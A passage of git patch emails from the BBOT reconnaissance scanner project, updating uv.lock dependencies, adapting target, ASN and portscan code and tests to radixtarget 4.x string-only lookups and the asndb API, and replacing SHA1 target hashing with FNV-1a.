"https://files.pythonhosted.org/packages/5f/29/f23905191087e3cbc38c7328ad985daeec6753fc7812fab0b4525600e316/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:0bf49f4524f2b309e4d164f405336df116f257a80074cee669c5b5b51e8eb484", size = 804030, upload-time = "2025-12-16T18:49:34.625Z" }, + { url = "https://files.pythonhosted.org/packages/2d/ba/031cbbfdc807acb66e8183cf47ed7bc8a34c0ff8065ab52b913e86f7b44d/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:01dc45a2e24565f4f269bc724024fbefa9a12bd4f2b9c4d3542caa45ea3e4eb7", size = 768802, upload-time = "2025-12-16T18:50:01.834Z" }, + { url = "https://files.pythonhosted.org/packages/0f/e5/115fb6ab50682bb041e15dcb9c72e35e3868edc297f55799aa4404012c54/radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0a368e059ffba6e786f5552eb9b8638ad90195643074830314d8cec6f23f157c", size = 733430, upload-time = "2025-12-16T18:50:29.94Z" }, + { url = "https://files.pythonhosted.org/packages/af/9c/e79af1c408b008cde3054e408aec2f78ead5d754c96e392117ba5ef24cb2/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:858831b2b369d8973ddd927bd870c353a4386d0a517ab3855a2fc73f2f1b61cc", size = 527144, upload-time = "2025-12-16T18:48:09.392Z" }, + { url = "https://files.pythonhosted.org/packages/05/c8/2584c148a34a5df38024ef3296479b7a86de0b70d44956fcc395e72ad8aa/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5a75d34f55009a4513dcb396b638ba7dba672d5eb107b7e9f0f0262b98775c4", size = 537302, upload-time = "2025-12-16T18:48:21.896Z" }, + { url = "https://files.pythonhosted.org/packages/62/81/0ebab51c21e24331b78471d1e10cf79b1f5df13a3f214d2d64db1be36111/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92f908ec996f49686a35dec20d47a98f0b24648c5eacc24c1969cbb13595107c", size = 712638, upload-time = "2025-12-16T18:48:33.441Z" }, + { url = "https://files.pythonhosted.org/packages/3e/49/1e7cb866e724017a102f383ff0715424d77a76242b3793c562d1b2e13f3f/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2499a664b78bca3b0536d8ac3d57dabdba1652c9c9e746979a743873f4edc19", size = 563931, upload-time = "2025-12-16T18:48:44.595Z" }, + { url = "https://files.pythonhosted.org/packages/97/39/a88a4d1f6d57fda78a9481e0955674ce079d4e5758d35e7e3e876b465aee/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:482b5b5c317bafb49fc1d9e5a648bddabb38dddec2be336545146d743d09622d", size = 533809, upload-time = "2025-12-16T18:49:03.476Z" }, + { url = "https://files.pythonhosted.org/packages/e0/1e/9b2c183e5d5def426945d3364cbb5c62968e5ed0a21d56eefd58b7d22cb0/radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:886001cc5679657cc643aa94858ef1a989bdfb168f60122222a25d5c0b11e8d5", size = 562933, upload-time = "2025-12-16T18:48:54.038Z" }, + { url = "https://files.pythonhosted.org/packages/93/56/2e4b3ffc43aaefadce4b03a0ad525cd8663e520e63232174450da3a68177/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:9f230e01ee9333ca2202ced3a1e0d6ee24cdad698283b32c453ca1846762992f", size = 710660, upload-time = "2025-12-16T18:49:25.052Z" }, + { url = "https://files.pythonhosted.org/packages/21/75/80f1460e98697f90387782644ae83f0b6f14bde4d8bb24c50562bd95db8b/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:4ef1b02bf1fb907e18403cb424b74b6ec05df6b103aba5e14768b6b208fd2e12", size = 808362, upload-time = "2025-12-16T18:49:37.195Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dc/9ad890f8c48b1997a8b1a258c421a8014f963c7a883932a6a043d6e56670/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d8160247559a35a4df41aa50c786afd0dbbd983e3071e815017e3fa62a64bc72", size = 773601, upload-time = "2025-12-16T18:50:04.521Z" }, + { url = "https://files.pythonhosted.org/packages/bb/47/a1bf30b4a047bfa6a1f97a679ebd5322d67cb16fc96cd9cddb2273d2cf10/radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:c1f6d83716242d7b7a8463dca7d77f2b9be0edb7ea0f467917ee87e46ef658a6", size = 738037, upload-time = "2025-12-16T18:50:32.41Z" }, ] [[package]] @@ -2431,6 +2559,19 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/e2/23/c941a0d0353681ca138489983c4309e0f5095dfd902e1357004f2357ddf2/resolvelib-1.2.1-py3-none-any.whl", hash = "sha256:fb06b66c8da04172d9e72a21d7d06186d8919e32ae5ab5cdf5b9d920be805ac2", size = 18737, upload-time = "2025-10-11T01:07:43.081Z" }, ] +[[package]] +name = "rich" +version = "14.3.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/c6/f3b320c27991c46f43ee9d856302c70dc2d0fb2dba4842ff739d5f46b393/rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b", size = 230582, upload-time = "2026-02-19T17:23:12.474Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/14/25/b208c5683343959b670dc001595f2f3737e051da617f66c31f7c4fa93abc/rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d", size = 310458, upload-time = "2026-02-19T17:23:13.732Z" }, +] + [[package]] name = "ruff" version = "0.15.2" @@ -2540,6 +2681,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/28/26/1be1d2a53c2a91ec48fa2ff4a409b395f836798adf194d99de9c059419ea/setproctitle-1.3.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:b08b61976ffa548bd5349ce54404bf6b2d51bd74d4f1b241ed1b0f25bce09c3a", size = 13282, upload-time = "2025-09-05T12:51:24.094Z" }, ] +[[package]] +name = "shellingham" +version = "1.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/58/15/8b3609fd3830ef7b27b655beb4b4e9c62313a4e8da8c676e142cc210d58e/shellingham-1.5.4.tar.gz", hash = "sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de", size = 10310, upload-time = "2023-10-24T04:13:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e0/f9/0595336914c5619e5f28a1fb793285925a8cd4b432c9da0a987836c7f822/shellingham-1.5.4-py2.py3-none-any.whl", hash = "sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686", size = 9755, upload-time = "2023-10-24T04:13:38.866Z" }, +] + [[package]] name = "six" version = "1.17.0" @@ -2677,6 +2827,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/50/49/8dc3fd90902f70084bd2cd059d576ddb4f8bb44c2c7c0e33a11422acb17e/tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1", size = 445910, upload-time = "2025-12-15T19:21:02.571Z" }, ] +[[package]] +name = "typer" +version = "0.24.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-doc" }, + { name = "click" }, + { name = "rich" }, + { name = "shellingham" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f5/24/cb09efec5cc954f7f9b930bf8279447d24618bb6758d4f6adf2574c41780/typer-0.24.1.tar.gz", hash = "sha256:e39b4732d65fbdcde189ae76cf7cd48aeae72919dea1fdfc16593be016256b45", size = 118613, upload-time = "2026-02-21T16:54:40.609Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4a/91/48db081e7a63bb37284f9fbcefda7c44c277b18b0e13fbc36ea2335b71e6/typer-0.24.1-py3-none-any.whl", hash = "sha256:112c1f0ce578bfb4cab9ffdabc68f031416ebcc216536611ba21f04e9aa84c9e", size = 56085, upload-time = "2026-02-21T16:54:41.616Z" }, +] + [[package]] name = "typing-extensions" version = "4.15.0" From e2b184c9de5c7db3c98907de05dd6ed590546eed Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 19:19:56 -0500 Subject: [PATCH 304/912] Fix asndb API calls and radixtarget 4.x string-only compatibility --- bbot/core/event/base.py | 4 ++-- bbot/core/event/helpers.py | 23 +++++++++++-------- bbot/core/helpers/asn.py | 22 +++++++++--------- bbot/modules/portscan.py | 11 +++++---- bbot/scanner/target.py | 8 +++---- bbot/test/test_step_1/test_target.py | 18 ++++++++++----- .../module_tests/test_module_asn.py | 10 ++++---- 7 files changed, 53 insertions(+), 43 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index c518e93334..f6d9e76502 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -795,8 +795,8 @@ def __contains__(self, other): return True # hostnames and IPs radixtarget = RadixTarget() - radixtarget.insert(self.host) - return bool(radixtarget.search(other_event.host)) + radixtarget.insert(str(self.host)) + return bool(radixtarget.search(str(other_event.host))) return False def json(self, mode="json"): diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index 448c7244d2..ee0ba63e10 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -292,16 +292,19 @@ async def _generate_children(self): from asndb import ASNDB client = ASNDB() - asn_data = await client.lookup_asn(int(self.data)) - children = [] - if asn_data: - subnets = asn_data.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - children.append(cidr) - return children + try: + asn_data = await client.lookup_asn(str(self.data), include_subnets=True) + children = [] + if asn_data: + subnets = asn_data.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) + return children + finally: + await client.cleanup() @staticmethod def handle_match(match): diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 2dabb02e4d..4012742010 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -31,26 +31,26 @@ def client(self): self._client = ASNDB() return self._client - def _normalize(self, raw): + def _normalize(self, response): """Convert asndb response dict to BBOT internal format.""" - if raw is None or raw.get("asn", 0) == 0: + if response is None or response.get("asn", 0) == 0: return self.UNKNOWN_ASN return { - "asn": int(raw.get("asn", 0)), - "subnets": raw.get("subnets", []), - "name": raw.get("asn_name") or raw.get("name") or "", - "description": raw.get("org") or raw.get("description") or "", - "country": raw.get("country") or "", + "asn": int(response.get("asn", 0)), + "subnets": response.get("subnets", []), + "name": response.get("asn_name") or response.get("name") or "", + "description": response.get("org") or response.get("description") or "", + "country": response.get("country") or "", } async def ip_to_subnets(self, ip): """Return ASN info for an IP address.""" try: - raw = await self.client.lookup_ip(str(ip)) + response = await self.client.lookup_ip(str(ip), include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for IP {ip}: {e}") return self.UNKNOWN_ASN - return self._normalize(raw) + return self._normalize(response) async def asn_to_subnets(self, asn): """Return ASN info (including subnets) for an ASN number.""" @@ -61,11 +61,11 @@ async def asn_to_subnets(self, asn): log.warning(f"Invalid ASN format: {asn}") return self.UNKNOWN_ASN try: - raw = await self.client.lookup_asn(int(asn)) + response = await self.client.lookup_asn(str(asn), include_subnets=True) except Exception as e: log.warning(f"ASN lookup failed for AS{asn}: {e}") return self.UNKNOWN_ASN - return self._normalize(raw) + return self._normalize(response) async def cleanup(self): """Clean up the asndb client.""" diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 314ee2f94f..bdf803f7fc 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -152,7 +152,7 @@ async def make_targets(self, events, scanned_tracker): """ correlator = RadixTarget() targets = set() - for event in sorted(events, key=lambda e: host_size_key(e.host)): + for event in sorted(events, key=lambda e: host_size_key(str(e.host))): # skip events without host if not event.host: continue @@ -184,16 +184,17 @@ async def make_targets(self, events, scanned_tracker): await self.emit_open_port(event.host, port, event) # build a correlation from the IP back to its original parent event - events_set = correlator.search(ip) + ip_str = str(ip) + events_set = correlator.search(ip_str) if events_set is None: - correlator.insert(ip, {event}) + correlator.insert(ip_str, {event}) else: events_set.add(event) # has this IP already been scanned? - if not scanned_tracker.get(ip): + if not scanned_tracker.get(ip_str): # if not, add it to targets! - scanned_tracker.add(ip) + scanned_tracker.add(ip_str) targets.add(ip) else: self.debug(f"Skipping {ip} because it's already been scanned") diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 1506628859..c7ebb9eb3d 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -142,13 +142,13 @@ def _make_event_seed(self, target, raise_error=False): def __contains__(self, other): if isinstance(other, BaseTarget): for h in other.hosts: - if self._rt.get(str(h)) is None: + if self.get(str(h)) is None: return False return True - host_str = _host_str(other) - if host_str is None: + try: + return self.get(other) is not None + except (ValueError, TypeError): return False - return self._rt.get(host_str) is not None def __iter__(self): yield from self.event_seeds diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index d836e320de..3cc7197d68 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -398,6 +398,7 @@ async def test_asn_targets(bbot_scanner): "subnets": ["8.8.8.0/24", "8.8.4.0/24"], } ) + mock_client.cleanup = AsyncMock() # Test target expansion target = BBOTTarget(target=["ASN:15169"]) @@ -407,7 +408,7 @@ async def test_asn_targets(bbot_scanner): initial_seeds = len(target.seeds.event_seeds) # Generate children (expand ASN to IP ranges) - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + with patch("asndb.ASNDB", return_value=mock_client): await target.generate_children() # After expansion, should have additional IP range seeds @@ -438,11 +439,12 @@ async def test_asn_targets_integration(bbot_scanner): "subnets": ["8.8.8.0/24", "8.8.4.0/24"], } ) + mock_client.cleanup = AsyncMock() # Create scanner with ASN target scan = bbot_scanner("ASN:15169") - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + with patch("asndb.ASNDB", return_value=mock_client): # Initialize scan to access preset and target await scan._prep() @@ -490,11 +492,12 @@ async def test_asn_targets_edge_cases(bbot_scanner): mock_empty_client = MagicMock() mock_empty_client.lookup_asn = AsyncMock(return_value=None) + mock_empty_client.cleanup = AsyncMock() target = BBOTTarget(target=["ASN:99999"]) # Non-existent ASN initial_seeds = len(target.seeds.event_seeds) - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_empty_client): + with patch("asndb.ASNDB", return_value=mock_empty_client): await target.generate_children() # Should not add any new seeds for empty ASN @@ -522,8 +525,9 @@ async def test_asn_blacklist_functionality(bbot_scanner): "subnets": ["8.8.8.0/24"], } ) + mock_client.cleanup = AsyncMock() - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + with patch("asndb.ASNDB", return_value=mock_client): # Target: 8.8.8.0/23 (includes 8.8.8.0/24 and 8.8.9.0/24) # Blacklist: ASN:15169 (should expand to 8.8.8.0/24 and block it) scan = bbot_scanner("8.8.8.0/23", blacklist=["ASN:15169"]) @@ -562,8 +566,9 @@ async def test_asn_len_overflow(bbot_scanner): mock_client = MagicMock() mock_client.lookup_asn = AsyncMock(return_value={"asn": 99999, "subnets": many_subnets}) + mock_client.cleanup = AsyncMock() - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + with patch("asndb.ASNDB", return_value=mock_client): scan = bbot_scanner("ASN:99999") # _prep() calls generate_children() and then does len(self.seeds.event_seeds) # Before the fix, this raised OverflowError from len() on the RadixTarget @@ -581,8 +586,9 @@ async def test_asn_event_json_serialization(bbot_scanner): mock_client = MagicMock() mock_client.lookup_asn = AsyncMock(return_value={"asn": 12345, "subnets": ["192.0.2.0/24"]}) + mock_client.cleanup = AsyncMock() - with patch("bbot.core.event.helpers.ASNDB", return_value=mock_client): + with patch("asndb.ASNDB", return_value=mock_client): scan = bbot_scanner("ASN:12345") await scan._prep() diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index 47cd7fa84a..2032b09715 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -21,9 +21,9 @@ async def setup_after_prep(self, module_test): from unittest.mock import AsyncMock asn_helper = module_test.scan.helpers.asn - asn_helper.client = AsyncMock() - asn_helper.client.lookup_ip = AsyncMock(return_value=self.asndb_response) - asn_helper.client.lookup_asn = AsyncMock(return_value=self.asndb_response) + asn_helper._client = AsyncMock() + asn_helper._client.lookup_ip = AsyncMock(return_value=self.asndb_response) + asn_helper._client.lookup_asn = AsyncMock(return_value=self.asndb_response) def check(self, module_test, events): asn_events = [e for e in events if e.type == "ASN"] @@ -44,8 +44,8 @@ async def setup_after_prep(self, module_test): from bbot.core.helpers.asn import ASNHelper asn_helper = module_test.scan.helpers.asn - asn_helper.client = AsyncMock() - asn_helper.client.lookup_ip = AsyncMock(return_value=ASNHelper.UNKNOWN_ASN) + asn_helper._client = AsyncMock() + asn_helper._client.lookup_ip = AsyncMock(return_value=ASNHelper.UNKNOWN_ASN) def check(self, module_test, events): # When asndb returns unknown, NO ASN events should be emitted since ASN 0 is reserved From 08483fb283d736d7f99a431a30e529ff6d0ed8e7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 19:20:16 -0500 Subject: [PATCH 305/912] lint --- bbot/test/test_step_1/test_target.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 3cc7197d68..fde89dd141 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -358,7 +358,6 @@ async def test_asn_targets(bbot_scanner): """Test ASN target parsing, validation, and functionality.""" from bbot.core.event.helpers import EventSeed from bbot.scanner.target import BBOTTarget - from ipaddress import ip_network # Test ASN target parsing with different formats for asn_format in ("ASN:15169", "AS:15169", "AS15169", "asn:15169", "as:15169", "as15169"): @@ -452,7 +451,6 @@ async def test_asn_targets_integration(bbot_scanner): assert "ASN:15169" in scan.preset.target.seeds.inputs # Verify expansion worked (generate_children is called during _prep) - from ipaddress import ip_network assert "8.8.8.0/24" in scan.preset.target.seeds.hosts assert "8.8.4.0/24" in scan.preset.target.seeds.hosts @@ -516,7 +514,6 @@ async def test_asn_targets_edge_cases(bbot_scanner): async def test_asn_blacklist_functionality(bbot_scanner): """Test ASN blacklisting: IP range target with ASN in blacklist should expand and block subnets.""" from unittest.mock import AsyncMock, MagicMock, patch - from ipaddress import ip_network mock_client = MagicMock() mock_client.lookup_asn = AsyncMock( From c11ab3291f7618c3e08a0d7a48b8a4f0af382f95 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 19:25:30 -0500 Subject: [PATCH 306/912] format --- bbot/test/test_step_1/test_target.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index fde89dd141..2e4a967507 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -288,11 +288,11 @@ async def test_target_basic(bbot_scanner): assert bbottarget.seeds.hosts == {"1.2.3.0/24", "www.evilcorp.net", "fdsa.evilcorp.net"} assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"} assert bbottarget.blacklist.hosts == {"1.2.3.4/32", "4.3.2.0/24", "asdf.evilcorp.net"} - assert bbottarget.hash == b'\xf8\x9bB\x99\x8c\xaa\xd6\xac_\xca3\x84\xbf\xd2\x06\x9f\xf3\x9d\xa1\xc7' - assert bbottarget.scope_hash == b'\xd4\x9ekZd\x9dT\x12fLl\xe6\x1a5\x82\xba\xa0\x01\x1f\xb7' + assert bbottarget.hash == b"\xf8\x9bB\x99\x8c\xaa\xd6\xac_\xca3\x84\xbf\xd2\x06\x9f\xf3\x9d\xa1\xc7" + assert bbottarget.scope_hash == b"\xd4\x9ekZd\x9dT\x12fLl\xe6\x1a5\x82\xba\xa0\x01\x1f\xb7" assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1" assert bbottarget.target.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" - assert bbottarget.blacklist.hash == b'\xf6@\xf3\xb2\xd3s\x15\xad=+\xab\x8fY`Gk\xf4\x00\x89\xcb' + assert bbottarget.blacklist.hash == b"\xf6@\xf3\xb2\xd3s\x15\xad=+\xab\x8fY`Gk\xf4\x00\x89\xcb" scan = bbot_scanner( "evilcorp.net", From ea90c0f18ee922666138c86a7193373aea2a0f55 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 21:45:58 -0500 Subject: [PATCH 307/912] Replace SHA1 hashing with seahash and FNV-1a 64-bit --- bbot/scanner/target.py | 44 +++++++++++++--------------- bbot/test/test_step_1/test_target.py | 26 ++++++++-------- 2 files changed, 32 insertions(+), 38 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index c7ebb9eb3d..4160470b4b 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -1,9 +1,19 @@ import logging import regex as re -from hashlib import sha1 from radixtarget import RadixTarget from radixtarget import host_size_key + +def _fnv1a_64(data_strings): + """FNV-1a 64-bit hash over sorted strings. Deterministic, pure Python.""" + h = 0xCBF29CE484222325 + for s in data_strings: + for b in s.encode(): + h ^= b + h = (h * 0x100000001B3) & 0xFFFFFFFFFFFFFFFF + return h + + from bbot.errors import * from bbot.core.event import is_event from bbot.core.event.helpers import EventSeed, BaseEventSeed @@ -69,12 +79,10 @@ def hosts(self): @property def hash(self): - sha1_hash = sha1() - for host in sorted(str(h).encode() for h in self.hosts): - sha1_hash.update(host) + h = self._rt.hash if self.strict_scope: - sha1_hash.update(b"\x00") - return sha1_hash.digest() + h ^= 1 + return h.to_bytes(8, "big", signed=True) def get(self, event, **kwargs): """Look up a host in the radix tree. @@ -201,10 +209,8 @@ def _add(self, host, data): @property def hash(self): """Seeds get hashed by event data, not by hosts.""" - sha1_hash = sha1() - for h in sorted(str(e.data).encode() for e in self.event_seeds): - sha1_hash.update(h) - return sha1_hash.digest() + h = _fnv1a_64(sorted(str(e.data) for e in self.event_seeds)) + return h.to_bytes(8, "big") class ACLTarget(BaseTarget): @@ -271,12 +277,8 @@ def _add(self, host, data): @property def hash(self): """Blacklist hash includes both hosts and regex patterns.""" - sha1_hash = sha1() - hosts = sorted(str(h).encode() for h in self.hosts) - regex_patterns = sorted(str(r.pattern).encode() for r in self.blacklist_regexes) - for h in list(hosts) + list(regex_patterns): - sha1_hash.update(h) - return sha1_hash.digest() + h = (self._rt.hash ^ _fnv1a_64(sorted(r.pattern for r in self.blacklist_regexes))) & 0xFFFFFFFFFFFFFFFF + return h.to_bytes(8, "big") def __len__(self): return len(self._rt) + len(self.blacklist_regexes) @@ -329,17 +331,11 @@ def json(self): @property def hash(self): - sha1_hash = sha1() - for target_hash in [t.hash for t in (self.seeds, self.target, self.blacklist)]: - sha1_hash.update(target_hash) - return sha1_hash.digest() + return b"".join(t.hash for t in (self.seeds, self.target, self.blacklist)) @property def scope_hash(self): - sha1_hash = sha1() - for target_hash in [t.hash for t in (self.target, self.blacklist)]: - sha1_hash.update(target_hash) - return sha1_hash.digest() + return b"".join(t.hash for t in (self.target, self.blacklist)) def in_scope(self, host): """ diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 2e4a967507..2a9bd5f965 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -150,9 +150,8 @@ async def test_target_basic(bbot_scanner): target2.seeds.add("1.2.3.4/24") target2.seeds.add("https://evilcorp.net:8080") - # make sure it's a sha1 hash assert isinstance(target1.hash, bytes) - assert len(target1.hash) == 20 + assert len(target1.hash) == 24 # hashes shouldn't match yet assert target1.hash != target2.hash @@ -183,9 +182,8 @@ async def test_target_basic(bbot_scanner): bbottarget8 = BBOTTarget(seeds=["1.2.3.0/24"], target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) bbottarget9 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) - # make sure it's a sha1 hash assert isinstance(bbottarget1.hash, bytes) - assert len(bbottarget1.hash) == 20 + assert len(bbottarget1.hash) == 24 assert bbottarget1 == bbottarget2 assert bbottarget2 == bbottarget1 @@ -288,11 +286,11 @@ async def test_target_basic(bbot_scanner): assert bbottarget.seeds.hosts == {"1.2.3.0/24", "www.evilcorp.net", "fdsa.evilcorp.net"} assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"} assert bbottarget.blacklist.hosts == {"1.2.3.4/32", "4.3.2.0/24", "asdf.evilcorp.net"} - assert bbottarget.hash == b"\xf8\x9bB\x99\x8c\xaa\xd6\xac_\xca3\x84\xbf\xd2\x06\x9f\xf3\x9d\xa1\xc7" - assert bbottarget.scope_hash == b"\xd4\x9ekZd\x9dT\x12fLl\xe6\x1a5\x82\xba\xa0\x01\x1f\xb7" - assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1" - assert bbottarget.target.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" - assert bbottarget.blacklist.hash == b"\xf6@\xf3\xb2\xd3s\x15\xad=+\xab\x8fY`Gk\xf4\x00\x89\xcb" + assert bbottarget.hash == b"W\x1ai\x9f\xd6\x13\x87\xdd\x9cNP\xcf\xca4[6F\xc0U\x13\xfbd\xd9\xf3" + assert bbottarget.scope_hash == b"\x9cNP\xcf\xca4[6F\xc0U\x13\xfbd\xd9\xf3" + assert bbottarget.seeds.hash == b"W\x1ai\x9f\xd6\x13\x87\xdd" + assert bbottarget.target.hash == b"\x9cNP\xcf\xca4[6" + assert bbottarget.blacklist.hash == b"F\xc0U\x13\xfbd\xd9\xf3" scan = bbot_scanner( "evilcorp.net", @@ -310,11 +308,11 @@ async def test_target_basic(bbot_scanner): assert target_dict["target"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"] assert target_dict["strict_scope"] is False - assert target_dict["hash"] == "f89b42998caad6ac5fca3384bfd2069ff39da1c7" - assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1" - assert target_dict["target_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" - assert target_dict["blacklist_hash"] == "f640f3b2d37315ad3d2bab8f5960476bf40089cb" - assert target_dict["scope_hash"] == "d49e6b5a649d5412664c6ce61a3582baa0011fb7" + assert target_dict["hash"] == "571a699fd61387dd9c4e50cfca345b3646c05513fb64d9f3" + assert target_dict["seed_hash"] == "571a699fd61387dd" + assert target_dict["target_hash"] == "9c4e50cfca345b36" + assert target_dict["blacklist_hash"] == "46c05513fb64d9f3" + assert target_dict["scope_hash"] == "9c4e50cfca345b3646c05513fb64d9f3" # make sure child subnets/IPs don't get added to target/blacklist target = RadixTarget("1.2.3.4/24", "1.2.3.4/28", acl_mode=True) From bcb4e7d7a6ba3af7fd9268e3c25370f46548e3ce Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 22:05:51 -0500 Subject: [PATCH 308/912] Fix test_scan hosts assertion for radixtarget 4.x string-only API --- bbot/test/test_step_1/test_scan.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 99ed4c4242..0fc8a6440f 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -1,5 +1,3 @@ -from ipaddress import ip_network - from ..bbot_fixtures import * @@ -38,7 +36,7 @@ async def test_scan( # Positional arguments become the target assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} # Seeds are backfilled from target when not explicitly set - assert scan0.target.target.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} + assert scan0.target.target.hosts == {"1.1.1.0/31", "evilcorp.com"} assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"} assert "ipneighbor" in j["preset"]["modules"] From 94b2fc5f9a4e3c01389038db0c7892acc397d8d5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 22:31:33 -0500 Subject: [PATCH 309/912] Fix portscan passing IPv4Address to radixtarget 4.x search() --- bbot/modules/portscan.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index 